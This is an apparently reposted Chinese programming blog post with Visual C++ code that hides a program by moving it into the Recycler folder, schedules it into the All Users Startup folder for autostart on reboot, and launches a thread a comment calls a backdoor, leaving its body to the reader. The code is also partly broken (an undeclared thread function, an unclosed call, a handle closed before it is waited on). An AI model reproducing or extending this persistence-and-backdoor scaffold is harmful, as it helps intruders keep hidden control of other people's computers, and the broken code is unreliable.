基于VC++2010利用API函数MoveFileEx实现程序的隐藏、自启动与自删除

 

详细代码如下

#include "stdafx.h"
//#include "shell.h"
void usage(char *);
#pragma comment(linker,"/SUBSYSTEM:WINDOWS")
int WINAPI WinMain(
       HINSTANCE hInstance,  // handle to current instance
       HINSTANCE hPrevInstance,  // handle to previous instance
       LPSTR lpCmdLine,      // pointer to command line
       int nCmdShow          // show state of window
       )
{
 
 ::MessageBox(NULL,"I'm Hear","test",MB_OK);

 //得到启动目录 
 char szPath[100]={0};
 ::GetSystemDirectory(szPath,MAX_PATH);
 char szDst[100]={0};
 for (int i=0; i<3;i++)
  szDst[i]=szPath[i];
 strcat(szDst,"Documents and Settings//All Users//「开始」菜单//程序//启动//FUCK.EXE");
 //printf("/n/t 现在的目录是%s/n",szDst);

 //得到当前程序名
 TCHAR szCurPath[MAX_PATH];  
 memset(szCurPath,   0,   MAX_PATH);   
 GetModuleFileName(NULL,   szCurPath,   sizeof(szCurPath)/sizeof(TCHAR));

 if (!(MoveFileEx(szCurPath,"c://RECYCLER//FK.BAK",MOVEFILE_REPLACE_EXISTING)))//若是要在不同的volume下移动文件,需要此项COPY_ALLOWED
 //printf("第一次移动失败/n");
  ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK); 
  if(!::MoveFileEx("c://RECYCLER//FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))
  { 
   ::MessageBox(NULL,"移动文件失败","test",MB_OK); 
  }
  else printf("任务完成/n");
  /*system("pause");*/
 

  //创建并等待线程 
  //StartShell 为后门线程函数,大家可以自己实现相应的功能
  HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
  CloseHandle(hthread);
  ::WaitForSingleObject(hthread,INFINITE);
 
  return 0;
}
void usage(char * s)
{
 printf(" 用法:MoveFile 原文件名 移动后的文件名/n" }


原文链接: http://blog.csdn.net/yincheng01/article/details/6082848

你可能感兴趣的:(基于VC++2010利用API函数MoveFileEx实现程序的隐藏、自启动与自删除)